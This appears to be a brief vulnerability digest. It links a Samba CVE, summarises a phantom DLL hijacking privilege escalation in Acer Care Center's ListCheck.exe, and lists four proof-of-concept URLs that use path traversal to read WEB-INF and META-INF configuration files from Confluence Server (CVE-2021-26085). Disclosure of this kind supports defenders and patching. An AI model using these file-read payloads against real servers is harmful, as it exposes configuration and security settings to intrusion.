If you are looking for the Samba vulnerability click the link below: https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-44142
Acer ships most of the laptop it sells with a software suite called Care Center Service installed. In versions up to 4.00.3034 included, one of the suite’s programs is an executable named ListCheck.exe, which runs at logon with the highest privilege available and suffers from a phantom DLL hijacking. This can lead to a privilege escalation when an administrator logs in. Blogpost: https://aptw.tf/2022/01/20/acer-care-center-privesc.html
POCs for Atlassian Confluence Server Arbitrary File Read: 1) http://127.0.0.1/s/123cfx/_/;/WEB-INF/web.xml 2) http://127.0.0.1/s/123cfx/_/;/WEB-INF/classes/seraph-config.xml 3) http://127.0.0.1/s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties 4) http://127.0.0.1/s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml https://github.com/ColdFusionX/CVE-2021-26085